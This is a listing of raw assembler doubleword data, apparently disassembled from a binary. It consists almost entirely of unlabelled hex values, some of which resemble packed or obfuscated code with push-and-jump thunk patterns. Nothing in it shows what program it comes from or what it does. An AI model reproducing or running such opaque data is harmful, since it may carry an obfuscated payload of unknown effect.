		dd 0F1C9A791h, 0CF0363FBh, 0AA4CA6Ch, 72BA8A03h, 482C06Ah
		dd 9F357D2Bh, 52F2A082h, 381BF688h, 0ECA6EE68h,	0AA4AB13h
		dd 0BDBEB03h, 33F98328h, 0BB812309h, 136526ACh,	873F3C1Bh
		dd 0C7050D7Ch, 3C1DB7FFh, 0C0847224h, 3721774Dh, 0C849AF7Fh
		dd 0D4B2A4EAh, 0D3859F72h, 65612165h, 0D99AC88Fh, 219B3003h
		dd 7B1D0F34h, 0A4E46F8h, 6E3E0603h, 6E3A17F2h, 6C74BCE8h
		dd 0D07A5BB6h, 3B175392h, 56C00872h, 93F34E1Eh,	0DC3A17CDh
		dd 4C48076h, 3F19F022h,	4BA4B969h, 30921B1Dh, 9EC422BCh
		dd 0FDA6AC76h, 55E7D427h, 9FA70933h, 74DA3899h,	189CE482h
		dd 88421371h, 0D0B51B1h, 0EB08359h, 4E050D5Bh, 231CA666h
		dd 0F34521Eh, 0E155A678h, 0A1030A5Ch, 250DF191h, 0A92200DDh
		dd 58DE064Ah, 46699F9h,	1A79D85Eh, 5C84C036h, 2026CC14h
		dd 6D07D973h, 0A5C2C92h, 84446C03h, 330F1AA7h, 5AC5A09h
		dd 0ECCF98FAh, 5DDE5880h, 50D82DDh
		dd 0E43BB195h, 0AC7C2805h, 0DAB06126h, 4428AFh,	952C0000h
		dd 295FE07Fh, 0FF7154C6h, 0BBD2E271h, 0F63ECD01h, 50AAE35Ch
		dd 7A4A0F34h, 50BF03FCh, 93F7030Ah, 936C0619h, 30A502Bh
		dd 0C18B5B6Bh, 0B5E20682h, 0CA09h, 3412EF00h, 3F55BBBh
		dd 691D1B43h, 44A2C3B9h, 0CB0BB38Ch, 7B4B050Dh,	7B54C533h
		dd 48AE2B2Dh, 0AD851402h, 515C9FE7h, 0C3050DC7h, 0D442086Eh
		dd 31276D45h, 0F0D04D75h, 2CFCA8AEh, 43ABF1D1h,	4C1270C9h
		dd 77CA9ACAh, 15CF491Fh, 0BC3CD527h, 411B7024h,	0D0540F6h
		dd 90300005h, 5DF7ACBAh, 3426D5E2h, 355D650Fh, 0E6BCF9EFh
		dd 35F84C15h, 0DE74BC09h, 2A326643h, 231CDA37h,	503909Bh
		dd 7BF75DBAh, 9E0A034Bh, 9C09111Bh, 1F9C7A6h, 0C42B0000h
		dd 83E17C84h, 7C58B5DDh, 360FC22Ah, 0EAC71A62h,	0CB8756BEh
		dd 41A9FFD8h, 9BE3B58Ch, 0D63E6446h, 6D75DB3Bh,	912516B2h
		dd 0D1030103h, 41A2EB41h, 3016CB13h, 0E5A8026Ah, 0AC7C2A04h
		dd 99336066h, 34C1E99Eh, 3F39090Fh, 0AC1FEBCh, 5A52B603h
		dd 0E17590F7h, 0DEEC52B5h, 0F5FCA3ECh, 11EA2EA5h, 0A2659D2Fh
		dd 2AB70FE8h, 0CFF7030Bh, 0C3001Fh, 0A2C40000h,	0BBEDCB44h
		dd 0E05309BDh, 50DCB5Eh, 68EE161Eh, 5ED88CE9h, 0DC7D2DDh
		dd 0EB2F0705h, 0DCFB608h, 14CEF605h, 0DCF932Bh,	0BBE3D305h
		dd 662808E1h, 0CFEB53ACh, 9BAB050Dh, 684E83CBh,	74923422h
		dd 0BD8A752Fh, 2B0F34ECh, 0FFAFF5D6h, 712B3303h, 66B0938Bh
		dd 1C1AF6Eh, 0C298DD0Bh, 352CC771h, 89437309h, 693F1AF7h
		dd 1AE7A7EFh, 0CE036B39h, 4CAEA7EDh, 160910F2h,	1057D10h
		dd 0C8DF0000h, 0BF954890h, 704C81E9h, 2203DE26h, 9EFB167Eh
		dd 0D793A2CAh, 5DA5F3CCh, 97FFA180h, 224A187Ah,	7981D72Fh
		dd 8D3102A6h, 0CD030102h, 41A2EF45h, 0BF51CB13h, 0DCBFABCh
		dd 0DA8ABA05h, 0D1396F47h, 0D844A25Bh, 5BBC1FF9h, 6DC040Fh
		dd 3AE57338h, 5ABA51F4h, 2204C40Ch, 0E1095FB7h,	0B2680D5Bh
		dd 41F54618h, 1050D7Bh,	79929131h, 0D90F31BBh, 94F26FE9h
		dd 0EF693F1Bh, 0D4421072h, 6A206890h, 6DEBBD97h, 0AB616939h
		dd 7E2E7456h, 5BDD83E3h, 8ECFA5E0h, 25041C18h, 83C787CDh
		dd 0FE715129h, 242B49Ah, 721F8B1Ch, 0CEF60F39h,	58DB3514h
		dd 782C2A7Ch, 548C630h,	0FD82A8DFh, 91F9A9D1h, 0C630667Ch
		dd 7C167A5Bh, 65D3819Dh, 1A876121h, 70E1573Dh, 48CB4D13h
		dd 0F31DA20Ah, 1D7505EFh, 72E45AA5h, 9CA41478h,	72C175C6h
		dd 0B1811478h, 96EC6189h, 0E1573D15h, 0E2FB7DA5h, 3, 0A2FF791Eh
		dd 0BE1B1D4Bh, 9504F258h, 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh
		dd 30A197FDh, 0E8B8DD3h, 63FE782Eh, 32D95F01h, 6EFF68h
		dd 48F5400h, 24048324h,	3EC06804h, 34890000h, 0E7895724h
		dd 4C781h, 0EF830000h, 243C8704h, 2404895Ch, 4BE068h, 240C8900h
		dd 5E201FB9h, 9FEBBE61h, 0CE01A4AEh, 42756859h,	24890000h
		dd 24048324h, 0BB535804h, 8, 4298EB81h,	0C3011D7Eh, 4298C381h
		dd 33891D7Eh, 24048B5Bh, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 5324348Bh, 0C381E389h, 4, 4C381h, 1C870000h,	43E95C24h
		dd 0A4FFFAB2h, 0B5A585F0h, 0CCAA7B8h, 0FFC50306h, 0BCE0E1E0h
		dd 95B5890Eh, 2B22164Eh, 6E832h, 9DB0000h, 8A0CC40Eh, 0B416BB66h
		dd 0B860F5Ah, 0F000000h, 58Fh, 0E6816600h, 0C2815BD8h
		dd 6882h, 2BCADF80h, 0EE8FFh, 0B69F0000h, 1A5BAB71h, 7F0BFF31h
		dd 3C141B54h, 58F08B66h, 8B3A0C8Bh, 0DBC181DAh,	66133E25h
		dd 0E981C28Bh, 42F38D67h, 0D8B70F56h, 4FC1815Eh, 8B1DEF41h
		dd 0B45751F2h, 48F5ED5h, 0B9B8663Ah, 8DBB6696h,	3EF83E7h
		dd 12E9h, 6908500h, 73D3B8F8h, 6F62651Bh, 8C860E5Bh, 4F549B1Eh
		dd 0DBE18060h, 6197DA80h, 9838FF81h, 850FFFFFh,	0Ch, 1BE9h
		dd 0DEF66D00h, 20980B8Ah, 0E9DAB70Fh, 0FFFFFF8Ch, 50F8EEAAh
		dd 6C70374Bh, 0CBDAC72Dh, 0CCCE8D8Dh, 6A060Ch, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 0EF9FF8C3h, 1B18CE6Fh, 0C18589A8h, 89060706h, 718C59Dh
		dd 418D8906h, 8B06071Bh, 715499Dh, 585C706h, 9C060706h
		dd 6A00005Ah, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 6637C352h, 858B4318h, 6072D85h
		dd 6985C7h, 607h, 880F0000h, 8,	0B19D8B52h, 5E060730h
		dd 1E19B5FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 0FFD6C7C3h, 701E195h, 0F2B70F06h
		dd 95FF006Ah, 6073201h,	9EBC08Bh, 5E48E020h, 0C82EE016h
		dd 8F8D8D7Fh, 66060CCDh, 89893EBEh, 71B418Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 0A46258DEh, 88E1491Dh, 0D9BF0FA1h, 60585C7h,	62000607h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0C9BC9DC3h, 0C7FC7D53h, 7006985h,	6, 0E5858B00h
		dd 0FF060729h, 73041B5h, 0E195FF06h, 6A060701h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 0DBDC353h, 0A65B4762h, 6840F83h, 9000000h, 71A89B5h
		dd 0FF006A06h, 7320195h, 0EBC08B06h, 7E89195Ah,	461F3091h
		dd 0F92971A4h, 0FBE9F991h, 0BA3BEF2h, 6CCAC8B3h, 780AF2EFh
		dd 0A72B5B7Ah, 39391B67h, 0F3F9ABBFh, 528C9AAFh, 5633A7F7h
		dd 0D9CB338Ah, 0BC5B35CFh, 80A8556Fh, 8CEAEC6Dh, 65564482h
		dd 4A85DFFFh, 2607D6E9h, 0A965AC1h, 9820CA24h, 0A76F7E1Fh
		dd 0E921C0FBh, 0ABh, 3F2E8D50h,	5F72B11Ch, 0A7ACABDAh
		dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h
		dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah
		dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h
		dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h,	0F653F545h
		dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h
		dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h
		dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh,	0E1B6F66Dh
		dd 0ED7293BCh, 0E80097B3h, 94E7A601h, 0D783323Dh, 0E9594AB0h
		dd 136Dh, 0CD0D468h, 0AECCE906h, 0B968FFFAh, 0E9060CD1h
		dd 0FFFAAEC2h, 0CD2A468h, 0AEB8E906h, 3F68FFFAh, 0E9060CD4h
		dd 0FFFAAEAEh, 0CD4CA68h, 0AEA4E906h, 8F68FFFAh, 0E9060CD5h
		dd 0FFFAAE9Ah, 0CD62F68h, 0AE90E906h, 0DE68FFFAh, 0E9060CD6h
		dd 0FFFAAE86h, 0CD7DD68h, 0AE7CE906h, 1368FFFAh, 0E9060CD9h
		dd 0FFFAAE72h, 0CD9FC68h, 0AE68E906h, 9A68FFFAh, 0E9060CDBh
		dd 0FFFAAE5Eh, 0CDC9D68h, 0AE54E906h, 7368FFFAh, 0E9060CDEh
		dd 0FFFAAE4Ah, 0CDF7668h, 0AE40E906h, 0B49BFFFAh, 73518CD4h
		dd 2C08C52Dh, 0E6FF127Ah, 5AB7AAB2h, 1B57E60Eh,	91F9AF88h
		dd 2B33657Ch, 668ED436h, 0BDC58BEBh, 41F546E2h,	1030104h
		dd 96613B91h, 3010420h,	0CAB05060h, 181E44A2h, 0C22659B9h
		dd 77EA9A9Ch, 0FB034B1Dh, 0A6E8C821h, 0FE54F4B0h, 7F11CBE8h
		dd 8C182F1h, 0B5F16729h, 0A9B5CA4Bh, 0CCC17AF9h, 0B1810F34h
		dd 0BA22061Bh, 0F11406Ch, 2E285052h
		dd 0CF40A666h, 30ABD73h, 34227052h, 0F9DA48A5h,	5FC7A0C7h
		dd 0A8C63078h, 93575C50h, 75D235BFh, 79B5E1CEh,	32D284E0h
		dd 3A2Dh, 7F952B00h, 0DA936C26h, 3A0F34C1h, 2F930C0Ah
		dd 67030AC1h, 5BB68963h, 0B49AFE7Dh, 0ADA0242h,	0E1750340h
		dd 4761CFB5h, 0BE553EBAh, 39421ACCh, 0C07A8337h, 0F83F00h
		dd 0A2C50000h, 0B9181E44h, 93C1DD5Ch, 3E8073A5h, 7E050DCBh
		dd 50C60E36h, 0BDBBE1C1h, 4890C6DCh, 0DC73E8Bh,	2516A805h
		dd 50DC891h, 8BDD34D1h,	58BE8343h, 1F77EAF2h, 6F65CF49h
		dd 52AE9C36h, 191B2BD0h, 8B391FEh, 0F53D8D16h, 53F58F55h
		dd 16257FEDh, 0F46736ECh, 50D9842h, 9863DB24h, 1323050Dh
		dd 0B4B7575Fh, 0F34CC5Bh, 5E577FCDh, 0DB4731CAh, 0E16F97F9h
		dd 0C55382AAh, 16CA9ADFh, 0D63CC62Eh, 0C23DD78Dh, 30A8F7Ch
		dd 3C19F43Ch, 11E2B868h, 93553BFh, 0D130CF3Dh, 0AEB0D8C9h
		dd 0EDE064Ch, 51A86252h, 0C014E674h, 902B9FF9h,	0F0CD0068h
		dd 0B5ECADA4h, 0B2A80910h, 1082DBh, 491F7600h, 82D42C21h
		dd 0DF89E77Ah, 177D5AB7h, 633112CFh, 6380FA1Bh,	0D70A5206h
		dd 8944ACFCh, 429FE7ADh, 79D63E64h, 1BDA5CDFh, 0A9A0301h
		dd 1341A2B0h, 6A3016CBh, 7F95A802h, 0CBF34BB4h,	83B3050Dh
		dd 0F1B6815Bh, 110F34C1h, 6B43721h, 27030AC1h, 29F99CFh
		dd 1C877127h, 4B8F6E46h, 0AF44EE5Ch, 3F13D71Fh,	0B8F552B5h
		dd 0ACBCB5E1h, 0B8000000h, 7E2804E5h, 2D7353AEh, 74DAE2Bh
		dd 0C7159E11h, 0EEC4050Dh, 67FA50B8h, 0ADD95F09h, 5C0260FDh
		dd 1A4EAB86h, 0BEB8681Ch, 1670FE14h, 0F1421840h, 0F349C14h
		dd 0DE749CA4h, 309F6D50h, 95881EB7h, 3A6AECB8h,	0F1A2A06Ah
		dd 49A8815Bh, 0B5551107h, 35DA65B6h, 4DAE8309h,	0B5551107h
		dd 0CE23F9C9h, 825FA7EDh, 451AF3A1h, 0F7091113h, 0F9D1C71h
		dd 341B0000h, 0F3D10C54h, 0AC8845ADh, 667F92FAh, 0DA372A32h
		dd 9BD7668Eh, 11792F08h, 0ABB3E5FCh, 0E60E54B6h, 3D450B6Bh
		dd 0C175C662h, 8103011Ah, 41A29B11h, 3016CB13h,	0A2A8026Ah
		dd 0B9181E44h, 8759F359h, 0DCB02B4h, 0D2724205h, 1F49A7BAh
		dd 0DE88E445h, 0FA7C2C58h, 951071Fh, 1573081Fh,	0ECA98A40h
		dd 1C0F34EFh, 88B0E4C1h, 844DEE6Dh, 0D5B78B4h, 1218B268h
		dd 8FE5BF20h, 5C08650Ah, 0A862AADAh, 8065F74Fh,	0DF8FB7F4h
		dd 0B931535Ch, 0F641E3FEh, 0F2874940h, 0DD8BE500h, 1DB76D95h
		dd 87499C22h, 0C579FAF2h, 85F28749h, 51F1C1BDh,	4E177DD7h
		dd 0CE15AB94h, 99A9F8B9h, 5F37DC3h, 0E9B97DFEh,	0C9F9F48Dh
		dd 0C4B06F47h, 45A47E04h, 906D3D6Bh, 0E21B2AB2h, 0FE4E41FEh
		dd 53B3AEB6h, 0D959140Dh, 51D7179Eh, 0EB23Ch, 792F0600h
		dd 0B2E4FC11h, 0F59B7AAh, 470D6AE7h, 93C1223Fh,	33B0AA4Bh
		dd 0E77A82D6h, 59B4DC8Ch, 12CF177Dh, 89066E34h,	19AA0CEFh
		dd 7AEA0301h, 1E44A280h, 0DB24FE18h, 50DCB63h, 0BAE0C623h
		dd 0C008BCh, 0CD87DC0Ah, 3499E572h, 0F7AD950Fh,	0EEBE4709h
		dd 8B5B5E08h, 0AABB943h, 6D1AE750h, 5AFC0933h, 0D6E65D9h
		dd 386E4405h, 0CAFA763Eh, 0A98B661Ah, 9FB9BFE7h, 5B0D64C5h
		dd 14AAA9DDh, 54050D6Eh, 0CB91F16Ch, 6EA2181Bh,	0A683050Dh
		dd 0B89504F2h, 16FC6AECh, 0D10E8BA8h, 2A820425h, 7EDE185h
		dd 0DB614300h, 49CAAFh,	950E0000h, 936C267Fh, 0F34BD7Bh
		dd 0D831EBDBh, 9340A8FEh, 30A8629h, 0CA90F64Bh,	792F071Ah
		dd 882E09A3h, 0C8030A86h, 9385D32Dh, 93FBABD3h,	0A1F01C7Eh
		dd 0CD0164CDh, 0A13C3A62h, 0DC7h, 60D621FBh, 20030ABAh
		dd 0E58A7010h, 0F87E2804h, 217751CCh, 65AF7F37h, 0A39C366Fh
		dd 0F313DA9h, 50E651EBh, 10030105h, 61FC6020h, 73295107h
		dd 37D7BD9Eh, 0BE65CB6Dh, 4254671Bh, 0F0D62BFBh, 0DD5EF0AAh
		dd 301A259h, 0BB371978h, 0E0287E5Eh, 9F722820h,	70240184h
		dd 0C686CE86h, 0C3351B7Bh, 98326361h, 3D54349Fh, 0EAA09009h
		dd 439FEA50h, 0C8530572h, 0D9CD76Fh, 67AF9705h,	0FC7239F9h
		dd 8A5A7819h, 0E1095FB7h, 0D640166Ch, 84D02D0Ch, 7CC96DCEh
		dd 0B989050Dh, 702523E9h, 5EBC59DAh, 240C0F34h,	17EE8A2Dh
		dd 0B9D44A03h, 0D17h, 0B6DE8A9Dh, 0CF17795Bh, 1C643212h
		dd 54BCE0C1h, 0E0085CB9h, 0AD8E1551h, 67429FE7h, 0DA342931h
		dd 89E9648Ch, 40E4BBC3h, 11F4FF7h, 2D870F03h, 0DCBFEBCh
		dd 0B9FAE805h, 3DA510E3h, 21110F31h, 3A1F856Bh,	7CA6D786h
		dd 0DB3B16ACh, 92F06D75h, 0DD3B16CCh, 9D98D8Bh,	3F14F52Fh
		dd 2261EF69h, 721DBF2h,	1C36D61Eh, 5DF7ADF6h, 1EB4E2FCh
		dd 105991Dh, 39E9D903h,	3857AD3Ah, 7CD5DD09h, 9138945h
		dd 8C607DF3h, 6800000Ch, 263B4305h, 99749CC2h, 4C81E9BFh
		dd 4D92177h, 0C4157D2Bh, 683C198Ah, 0A2F6CD00h,	0FDAB875Ah
		dd 341A7895h, 66D1732Ch, 3011FD0h, 0E5AA0090h, 0A9792F04h
		dd 72287E54h, 64D2869Fh, 5C866020h, 0B9BFE5FDh,	0E2C05D0Dh
		dd 0E909BABCh, 0F5DE2C03h, 0F155AC6Dh, 0EF543EEEh, 0F3AFDB33h
		dd 9F8EF60Dh, 9A4AFD15h, 6E485h, 7F954300h, 17936C26h
		dd 670F313Dh, 49E3855Fh, 54C294F0h, 59B2310h, 0EBDB0301h
		dd 570C631h, 300301h, 0BFE5FD40h, 0A00FFD57h, 85787913h
		dd 5E86CC2Eh, 0CB53B38Eh, 0C0CCAB65h, 0E1579FDAh, 1BDCC6Eh
		dd 0D78CDA03h, 0EF55C23Dh, 1D250938h, 14418704h, 0CEAFA509h
		dd 0BC7h, 668EDA2Dh, 0BFC789EBh, 0CC1442A2h, 46C3011h
		dd 50B8ECC9h, 0FDDEC581h, 0B7924F97h, 6A4499E1h, 0D939D43Ch
		dd 10B46B73h, 11E9F27h,	0FD77DF03h, 0EACB44A2h,	0CCF4B0A6h
		dd 89DF3B16h, 3AEABC94h, 1F455D3Ch, 0A0146E19h,	0DA66DAB9h
		dd 637A1AFh, 0AA870000h, 5410064Ch, 0FEBCCEB4h,	98050DCBh
		dd 2DFDA381h, 1EB4E1E7h, 313D651Dh, 0F7AD950Fh,	0E563C1Ah
		dd 0DC6BF3D3h, 873BB502h, 0F84ACCF4h, 7913C9EAh, 1E838FEh
		dd 98487803h, 0BAE471C2h, 0AC940938h, 147420B5h, 766DC09h
		dd 0B27h, 86EEBA8Dh, 0DF27694Bh, 6C742202h, 0A4CC90F1h
		dd 0F0184CA9h, 5DBE2521h, 1772EFF7h, 0CA243941h, 0B999749Ch
		dd 70148BD3h, 11D3F87h,	1D977F03h, 4EA943E5h, 50DCBE8h
		dd 239B98A8h, 63050DCBh, 0F8BEB953h, 0B8050DCBh, 6D45D888h
		dd 2E9F6D27h, 7555D33Bh, 96E1CD2Ch, 78E1D7A8h, 0F3D34EA8h
		dd 9AF8ABADh, 50480F12h, 7ACFAFDBh, 15000005h, 6C267F95h
		dd 313DC293h, 0DB35140Fh, 0ECB2908Dh, 0F66A3A6Ah, 0DD3514CEh
		dd 94F26F77h, 0DD3514CEh, 0DE51D777h, 301055Ch,	8D471C4Ah
		dd 385725B2h, 0F46D5509h, 91388EBh, 785A3329h, 7C00000Ah
		dd 3AD73F69h, 0ED6088DEh, 0A0BDC593h, 18F51D43h, 0F001693Fh
		dd 44106D76h, 9EC2213Ch, 0E9BF9B76h, 20764C81h,	52AD47D8h
		dd 3011DECh, 0A24E24ACh, 0FE181E44h, 0B0500063h, 5AC955ADh
		dd 0A35A3316h, 4A1C74E9h, 44E24802h, 0FC42BD8Fh, 0BC050DE5h
		dd 0C0528A74h, 883B3DEDh, 15AF826Ah, 0D0F942Ah,	3CECD405h
		dd 0DB2AF156h, 31CFDAFh, 0C6AAB555h, 0AE000004h, 4EF043E5h
		dd 0E050DCBh, 30856626h, 26050DCBh, 40D97320h, 4C3A3C62h
		dd 3E7B96A6h, 1DCDF528h, 0E35FAD47h, 0FCA8856Eh, 0ED1A6272h
		dd 0FC72C437h, 232050Dh, 0A97E142h, 24050F31h, 0D69E98CEh
		dd 0FE84A36h, 30132B7h,	16EAB096h, 32FB43BCh, 8BBB0301h
		dd 0E8411B43h, 0A1BCC48Ah
		dd 0AF411B41h, 132EA4Ch, 0CA9AAA03h, 0D78CDA6Ch, 26989B3Dh
		dd 66030132h, 0BF48E5Eh, 9381CA6h, 0C6273E06h, 620913A8h
		dd 97991ECh, 687F0000h,	0DF352830h, 90EC6189h, 42A3BEC6h
		dd 3E1BF61Eh, 77F3026Ah, 3D45136Ch, 779FC120h, 82EAB89Ah
		dd 0D921774Fh, 0ED51A246h, 0AD03011Ch, 44A24F25h, 59B9181Eh
		dd 0C09205F3h, 6E3412ECh, 6BD7BC06h, 5C5EAFDAh,	9A000001h
		dd 181E44A2h, 0EBF359B9h, 77C00341h, 50DCBCFh, 0A57FA78Fh
		dd 3498E15Ah, 0FB91A10Fh, 8D5D0366h, 0FA8A30ABh, 0CEC2030Ah
		dd 982463E6h, 53AEB5E1h, 7E362070h, 3A51AEh, 49B70000h
		dd 2866E18Fh, 0D85ED924h, 98030AA3h, 3AA060A8h,	6C267F95h
		dd 34C1DA93h, 7B2E1C0Fh, 0F5541E79h, 93A35F0Fh,	39902AA5h
		dd 0C4D8030Ah, 5D2A69F0h, 0C0F1B5E2h, 77000000h, 181E44A2h
		dd 0E085CB9h, 6BEDB393h, 0BAC288EEh, 0D9E38B9h,	83C92905h
		dd 812363C9h, 0B2289D86h, 0C920FA12h, 64BEB8ECh, 0DC5239Bh
		dd 2B536305h, 336F5A25h, 0AB7B84E4h, 98326361h,	3279C09Fh
		dd 2D071A0Fh, 19C9FD7Bh, 0ED875D65h, 1686631Fh,	0CD9D46D2h
		dd 8B411770h, 79C194A5h, 9949EE06h, 839C71h, 0C0847224h
		dd 0E72F754Dh, 15BB896Eh, 0D8B5AB03h, 843h, 0E20A5EB1h
		dd 3B43156Fh, 4890C626h, 80E8BC95h, 0DC24704Dh,	41A2413Dh
		dd 3316CB13h, 0EEC8056Dh, 0A5BD50B8h, 9C3897FFh, 1121BA3h
		dd 71CB5B03h, 0CB1341A2h, 0B06A3016h, 22147859h, 2DC984A4h
		dd 89B1399Eh, 0E53BB1D9h, 61BC2C04h, 0ACC414A4h, 91D5438Bh
		dd 40166CF1h, 0D32D0CD6h, 33D39385h, 0C882C82Eh, 81411771h
		dd 2976849h, 95900000h,	936C267Fh, 0F34EF6Ah, 239C9AAAh
		dd 30AD09Fh, 16F9F3D7h,	0B5E18631h, 259F8h, 0E6FD5C00h
		dd 0D3A44CB2h, 0D3CD607Dh, 0C5BC4933h, 0EF050DCBh, 15E6BCF9h
		dd 0F313D65h, 6AC79DA5h, 643E460Ch, 7BFDAB85h, 0A0869B4Bh
		dd 47DA7CFAh, 8C383E6Ah, 431076DCh, 0D909F789h,	0E7E3BC67h
		dd 7FF9AF89h, 0DC5F0F37h, 938C84Fh, 603612EFh, 7CD42138h
		dd 9A900914h, 75AC3h, 11775E00h, 6A3C14C9h, 0A7F1CF02h
		dd 0FFA5825Fh, 4B197A97h, 4B581223h, 3FD23A6Eh,	0F16C7424h
		dd 0AAA7CF95h, 21FE064Ch, 1202B487h, 0D2420301h, 0D844A258h
		dd 91390140h, 5FE75095h, 1F050D38h, 0B1A7EF17h,	0F9AF8A67h
		dd 8A97377Fh, 0DE2CE6ACh, 1498FCE1h, 0AD8B5B2Bh, 0ED44A82Ah
		dd 0F462340Ch, 350D10B0h, 0D6BD076Fh, 5DAFDABDh, 18Eh
		dd 1E44A29Bh, 0CE68F644h, 381C652Dh, 79E74078h,	0DC48BAC5h
		dd 893B55Eh, 72F494DCh,	0B1D98FE7h, 62387D6Bh, 71E7B18Fh
		dd 0A8FED835h, 9C26E6AEh, 5E0A67FAh, 370CAD8Eh,	644C0F34h
		dd 55C179F2h, 9589030Ah, 55B381Fh, 6922B5E2h, 6000000h
		dd 73D07E38h, 9A4A11F5h, 267F95E0h, 0C1DA936Ch,	3D1C0F34h
		dd 0C2827420h, 0C1972F08h, 0EFD7030Ah, 0D973433Fh, 27856253h
		dd 0CF286D95h, 30A9A77h, 7C70F37h, 9A0CAE21h, 0D62D030Ah
		dd 2F059482h, 0DA25FF79h, 30A9A64h, 0A92D1C24h,	968A7E43h
		dd 0BC5C3B1Eh, 0D523B5E1h, 1000000h, 9698CE28h,	0E1267C63h
		dd 24DE8EC2h, 4EF043E5h, 0E050DCBh, 0BB9B6626h,	95F663D5h
		dd 0EAC849CFh, 0CF27B2A4h, 0CB96280Bh, 0EED6050Dh, 65C45EA6h
		dd 0ABDB5D0Bh, 0CBB006F1h, 0C0F0050Dh, 0B9B62300h, 9E0050Dh
		dd 0B2F26428h, 0B4370F12h, 590D0B5Dh, 2523C911h, 259DA70h
		dd 0FE0F324Ah, 203D1CB6h, 28A115E6h, 0D1E10304h, 76CB41A9h
		dd 48C94F15h, 51F1396Fh, 0ACA5F3CCh, 315A25Bh, 0BC4A2319h
		dd 38000005h, 0F66B73D5h, 0A9A4CC92h, 1CF1194Fh, 0D4095107h
		dd 0B445ADFBh, 98CC29BAh, 0D2869D70h, 2D7B578Ah, 642A08C5h
		dd 16E1831Ch, 30110A0h,	0A2FA70E0h, 0BFE5C641h,	95FBD8B9h
		dd 0A6BBE3A3h, 6A1A1C42h, 68826822h, 43C21DB3h,	0A8A5AD7Dh
		dd 6FC044Ah, 181E44A2h,	0EBF359B9h, 208Ah, 44A23600h, 59B9181Eh
		dd 0E3C059F3h, 0A20BEDBDh, 0D432CC20h, 4DAC668Eh, 65642470h
		dd 21h,	0F217E59Fh, 0AD23B7C6h,	859D6020h, 55E659DFh, 0F050D82h
		dd 0C929C12Bh, 0E6FF7056h, 3A428AB2h, 1E44A240h, 0CE588E18h
		dd 4B1D77E8h, 0E75199CDh, 52AD67AFh, 0F313D5Eh,	70243D1Ch
		dd 4E042CD0h, 0A5CD93F3h, 4E044AA8h, 0E0963DE0h, 4EAE7CC4h
		dd 3630D018h, 0A8EB769Ch, 0C47771FBh, 69CA80C8h, 93D54C6h
		dd 0A1B85262h, 1EF31B41h, 42E45238h, 0BA855F04h, 0F344D5Dh
		dd 854CC5EDh, 33031800h, 4B9A03Dh, 283F0000h, 9FF56870h
		dd 50ACA1C9h, 263FE06h,	0FEDB365Eh, 0B7B342AAh,	7D85D32Ch
		dd 0B7DF81E0h, 0C22A785Ah, 1961370Fh, 0AD11E286h, 0ED030117h
		dd 44A28F65h, 8BE5441Eh, 7B2B5BDDh, 0B298FE13h,	0CD811218h
		dd 31758C08h, 0D5170C6h, 0D8003005h, 3E386C45h,	8650D676h
		dd 1D1B4DABh, 4EA4B969h, 0A1831E18h, 512C926Dh,	446C050Dh
		dd 0A1BF1A1Ch, 0DABC01F7h, 0D276EDD2h, 0C432667Fh, 3084C080h
		dd 0CA12785Eh, 0DB052360h, 49EAAFh, 0F34E0000h,	5CE25D91h
		dd 1C050D45h, 3A6AEC14h, 7F95F06Ah, 30CA6C26h, 0DCB7FC7h
		dd 57F73F05h, 34BD32D4h, 0E8A2920Fh, 0B56F3511h, 0CE2B3447h
		dd 69BAA4EAh, 0DE36D6ACh, 0A019B1Dh, 0F258BE03h, 4D1B77EAh
		dd 3E5B2CBh, 0A2CE0000h, 0A2441E44h, 3127714Fh,	0CB308675h
		dd 4070050Dh, 0DB3BA680h, 81C76D75h, 7C3D3ED4h,	3C0F3498h
		dd 0FA219566h, 2200030Ah, 0D122807Ch, 30AFA6Dh,	53DD052Dh
		dd 0C87EFFABh, 0C5337B39h, 0AF5F04Ah, 71AB803h,	0B7FF792Fh
		dd 26F9F317h, 43C9CED8h, 7616A239h, 0E1CFB79Ch,	0D4353BB5h
		dd 9DF45947h, 2F50AF7Fh, 94000000h, 6C267F95h, 34C1DA93h
		dd 500A3A0Fh, 1F41A3BEh, 48EE6D19h, 8030AC1h, 0D8E6838h
		dd 30AC1ADh, 40BE1E5h, 0B5E1753Fh, 0ABC6h, 44A20200h, 5CB9181Eh
		dd 0B3930E08h, 88EE6BEDh, 8B9BAC2h, 0D9050DC7h,	964B93F9h
		dd 0DA6CEAB0h, 9B3DD78Ch, 0DC82698h, 28986605h,	8F83D1D7h
		dd 7DFE94DCh, 50D98B9h,	4319C9F9h, 34BBC7F0h, 274F770Fh
		dd 0F4AEF71Dh, 35655E0Bh, 0CC86AE09h, 0E0D8B7Eh, 2CFC8F67h
		dd 0A5EBB96h, 46126FE2h, 109910CFh, 0F7968C09h,	2E3h, 42AAFED1h
		dd 9BE3B58Fh, 28306646h, 6088DC35h, 0BCC490EDh,	0E1C2E19Dh
		dd 53B6ABB3h, 0E68E50Dh, 0C5DD3058h, 3CD8779Fh,	1157BC3h
		dd 0D1AB3B03h, 0CB1341A2h, 5BAC3016h, 48982256h, 817B83CBh
		dd 7E2804E5h, 361CCCF8h, 70C983D0h, 0C49E4E10h,	34C1327Bh
		dd 28E2D20Fh, 0A8AEF2D1h, 51CA2CFCh, 30AC1E9h, 0C047ADA1h
		dd 0B5E17583h, 0CAB4E14Fh, 0F6C65D69h, 0D8C956h, 0A20F0000h
		dd 0FE181E44h, 0E5530563h, 56ACA1h, 0B4E0FD40h,	0C778C942h
